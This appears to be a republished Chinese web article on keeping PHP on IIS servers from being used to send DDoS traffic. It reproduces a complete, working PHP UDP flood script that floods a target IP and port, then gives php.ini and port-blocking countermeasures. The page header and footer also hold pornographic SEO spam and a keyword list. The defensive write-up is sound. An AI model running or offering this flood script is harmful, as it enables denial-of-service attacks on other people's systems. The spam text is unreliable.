国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發 > PHP > 正文

iis防止php ddos占完網絡帶寬與服務器資源解決方法

2024-05-04 21:48:43
字體:
來源:轉載
供稿:網友

用PHP代碼調用sockets,直接用服務器的網絡攻擊別的IP,以前我在apache下有碰到這樣的問題,今天我們講講述一下關于在iis防止php ddos占完網絡帶寬與服務器資源的處理辦法.

php ddos的常見代碼如下:

  1. <?php 
  2. $packets = 0;  
  3. $ip = $_GET['ip'];  
  4. $rand = $_GET['port'];  
  5. set_time_limit(0);  
  6. ignore_user_abort(FALSE); 
  7.  
  8. $exec_time = $_GET['time']; 
  9.  
  10. $time = time();  
  11. print "Flooded: $ip on port $rand 
  12.  
  13. ";  
  14. $max_time = $time+$exec_time
  15.  
  16.  
  17. for($i=0;$i<65535;$i++){  
  18. $out .= "X";  
  19. }  
  20. while(1){  
  21. $packets++;  
  22. if(time() > $max_time){  
  23. break;  
  24.  
  25. $fp = fsockopen("udp://$ip"$rand$errno$errstr, 5);  
  26. if($fp){  
  27. fwrite($fp$out);  
  28. fclose($fp);  
  29. }  
  30. }  
  31. echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging "round($packets/$exec_time, 2) . " packets/s /n";  
  32. ?> 

表現特征:一打開IIS,服務器的流出帶寬就用光-----就是說服務器不斷向別人發包,這個情況和受到DDOS攻擊是不同的,DDOS是不斷收到大量數據包.

解決辦法:在c:windowsphp.ini里設其值為Off,代碼如下:

allow_url_fopen = Off

并且,代碼如下:

;extension=php_sockets.dll

前面的;號一定要有,意思就是限制用sockets.dll

然后:代碼如下:

; ignore_user_abort = On

前面的;號要去掉,然后重啟IIS,如果上述方式仍然無效,你可以在IIS中,允許的擴展中,禁止PHP的擴展測試.

注:如果你的服務器不要運行機制php可以關閉,如果需要的話可以把php_sockets.dll 給禁止,還有一種辦法就是把udp端口全部封了,只要80等一些重要的端口開放就可以了.

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 佛教| 思茅市| 郴州市| 宿迁市| 宁夏| 宁德市| 仙桃市| 德兴市| 门头沟区| 清涧县| 阳城县| 海伦市| 苍南县| 新民市| 呼玛县| 丽江市| 尤溪县| 丹江口市| 灌云县| 柞水县| 邢台县| 海南省| 斗六市| 成都市| 娄烦县| 保康县| 阿勒泰市| 江门市| 邹平县| 合阳县| 武功县| 墨玉县| 隆林| 大名县| 璧山县| 福泉市| 五大连池市| 丁青县| 红河县| 阳曲县| 体育|